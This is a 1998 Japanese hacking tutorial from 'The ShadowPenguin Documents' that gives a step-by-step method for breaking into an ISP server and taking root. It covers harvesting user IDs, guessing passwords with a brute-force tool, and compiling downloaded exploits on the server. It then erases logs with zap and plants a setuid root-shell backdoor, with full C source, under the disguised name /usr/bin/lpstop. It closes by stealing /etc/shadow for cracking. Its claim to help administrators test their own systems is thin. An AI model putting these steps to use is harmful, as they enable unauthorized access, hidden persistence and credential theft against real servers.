================================
The ShadowPenguin Documents. No.3
- 初歩的なISPへの侵入法 -
Written by うにゅん
Oct.18, 1998
================================
1. はじめに
このテキストでは、ISP(インターネットサービスプロバイダですよ)に進入してrootをとる最も初歩的な手口を紹介します(初歩的だけに・・・です(笑))。これに記載されている内容でrootを取られるアマいサーバ管理者は管理方針を変えた方がいいですよ。結構こういうISPがありますね。このテキストは、ISPの管理をしてる管理者が、ホントにこういう手口で侵入されないかどうかを実験するという目的のものです。決して、どっかのISPをこの方法で攻撃しちゃいけませんよ。
2. 準備
とりあえず、以下のものを用意してください。
1.自分のWin95/98/NTマシン。
2.白木葉子 for Win32
3.extuser for Win32
2、3はここのホームページに落ちてます。
まず、ハックにはシェルアカウントがあると、とても便利です。よって、telnetできるプロバかどうか検査しましょう。telnetがダメでも侵入&rootの方法はいくらでもありますが、初歩的手口のテキストってことでtelnetできるISPのみ対象とします。検査は簡単で、DOS窓から
telnet www.hoge.ne.jp
として、loginプロンプトが出たらOKです。
3. 白木葉子とユーザーリスト
ISPのサーバには、当たり前ですがたくさんのアカウントがあります。パス設定規則がやかましくないところだと、一人くらいはユーザ名とパスワードが同じヤツ(joeという)がいることが結構あります。白木葉子は、プロバのユーザリストを入力しておけば、自動的にftpやpop3でjoeを見つけるツールです。ということは、ユーザーリストがないと始まりませんね。ユーザーリスト入手の手っ取り早い方法は、プロバのホームページによくある「会員様ホームページ一覧」ってヤツから抜いてくるのが一般的です。そういうページのあるISPは、どうせあまり見る人もいないんだし、危険なんで削除しちゃいましょうね。会員様ホームページ一覧のhtmlファイルを保存後(複数ページにまたがっている場合はファイルを引っ付けておくと便利)、extusrでユーザーIDを抽出します。
extusrの使い方は、
extusr HTMLfile Pattern > usrlist.txt
です。HTMLfileは会員様ホームページのhtmlファイル(Netscapeならファイル-名前をつけて保存でOK)で、Patternはユーザー名の直前に付いているHTMLの文字列です。
例えば、htmlファイルのソースを確認して、会員のページが以下のようにリンクされている場合
<a href="http://www.test.or.jp/‾hogehoge/">
Patternは、
www.test.or.jp/‾
とすると、www.test.or.jp/‾の文字列を発見したら、その後に続く文字から/や"が見つかるまでをユーザーIDとします。なお、
Patternを
<a href="http://www.test.or.jp/‾
としたい場合、"は引数に付けることができませんので、+で代用します。
Patternを
<a href=+http://www.test.or.jp/‾
と指定してください。
4. 白木葉子を動かす
さて、extusrでusrlist.txtを手に入れたところで、白木にかけてみましょう。白木を起動して、[File
Load]で先ほどのusrlist.txtを指定し、[Server]にターゲット鯖を指定します。あとは、[Go]ボタンを押せば自動でjoeを探します。また、ユーザ名の逆をパスワードにしたり、固定パスワードでアタックしたりするモードもありますので、joeがいなかったら試してみてください。
5. joe発見&ログイン
joeを一人でも発見したら、白木を止めましょう。一人あれば十分です。で、自分の管理するISPに仮想ハックをやって、安全性を検査してみましょう。とりあえず、telnetしてみましょう。入ったら、rootを狙います。っていうか、root取れないとログが残ったままになるので、初ハックで踏み台もない場合は侵入者は意地でも取りにきます(笑)。とりあえず、
rlogin localhost
して、lastlogをごまかします。lastlogってのは「こないだは、どっからログインしたか」っていうヤツで、telnetなんかしたとき、プロンプトが表示される前に出てきます。root盗れなかった場合はrlogin
localhostは、しないよりはマシなので、侵入者は「とりあえずやっとこ」って感じでやっておきます。
さて、お手軽なroot盗りといえば、ハッカーたちがシコシコ作り上げたPacketStormやRootShellなんかに落ちてるroot-explotプログラムを拝借して使うのが一番手っ取り早いですね。
Packet Storm : http://www.genocide2600.com/‾tattooman/index.shtml
RootShell : http://www.rootshell.com
その前に、OS名を確認しましょう。OSはログインしたときに表示されますね。さて、そのOSに合ったexploitプログラムを入手します。PacketStormだと
http://www.genocide2600.com/‾tattooman/unix-exploits/
に落ちてますね。例えば、ターゲットがSolaris2.4の場合は、上ページのsolaris-exploits/ディレクトリにある
Sol24.zip
をPCにダウンして解凍します。
Cのソースファイル(拡張子が.cのファイル)をサーバ上でコンパイルして実行すると、あら不思議(笑)Rootになります。なお、PCにダウンしたソースファイルは、PCのテキストエディタ(メモ帳など)で表示させておいて、コピーペーストで鯖にもってきましょう。ftpだとお手軽ですけど、ちょっち問題もあるでしょうから侵入者は普通使いません。方法は、PCのエディタで「コピー」したあと、鯖で
%cat > ban24.c
とします。この状態でtelnetクライアントソフト上で「ペースト」します。終わったらctrl+Dで抜けると、hoge.cができます。コンパイルはccやgccで行います。プロンプトが出ている状態で、
%cc ban24.c
とします。これで、ダメなら
%gcc ban24.c
としてみましょう。これでもダメなら、とりあえずあきらめましょう(笑)
エラーが出なかったら
%a.out
としてみましょう。プロンプトが#になったらrootです。ダメなら、ほかのCプログラムをコンパイルして実行してみましょう。全てダメなら、やっぱりあきらめましょう(笑)
まぁ、rootになれれば侵入者も御の字ですが、なれなかったらログはしっかり残ったままですから管理者も楽ですね。こういう方法以外でも、rootになる方法はたくさんありますが、ここじゃ書きません。自分で見つけましょうね。そこらへんじゅうにテキスト落ちてますから。それでもダメなら、知恵を搾って考えましょう。
6. roothack後は?
とりあえず、侵入者にとってログ消しは必須でしょうか。zapっていう有名なログ消しがありますので、とりあえずコレを使ってみましょう。簡単ですから。簡単だけあって多少問題はありますが、進入元はログからでは特定できませんので、よく使われています。
wtmpx.c Solaris、IRIX用
zap2.c SunOS用
これはrootじゃないと使えません。ユーザーhogeを消す場合は、コンパイル後、
#a.out hoge
としてください。消せたかどうか、lastコマンドで確認しましょう。lastコマンドは、ログイン履歴を表示するものです。あとは、白木のアタック跡がsyslogなんかに残ってますから、これも消してみましょう。
侵入後は、Rootshellも仕込まれますね。
#include <stdio.h>
main()
{
setuid(0);
setgid(0);
execl("/bin/csh","csh",NULL);
}
ban24.cとかのroot-explotプログラムは、セキュリティーホールを利用したものですから、パッチを当てられるとrootになれません。rootshellだと、いくらパッチを当てられてもrootになれます。rootshellをコンパイル後chmod、chownします。
#cc rootshell.c -o rootshell
#chmod 4755 ./rootshell
#chown root ./rootshell
で、rootshellってコマンドを一般ユーザ権限で実行すると、rootになれます。このrootshellを、バレにくそうな名前に変えて適当なディレクトリにほおりこまれると、lsくらいじゃ発見できないでしょう。
#mv ./rootshell /usr/bin/lpstop
日付が気になるなら、touchで適当にあわせます。同様の方法でログ消しも置かれます。
後は,/etc/shadowファイルを頂いてjohn the ripper等でクラックすれば、パスワードを多数得ることができます。そうやって被害にあったISPは今まで何社か存在しますね。あなたのISPも気をつけましょうね(笑)。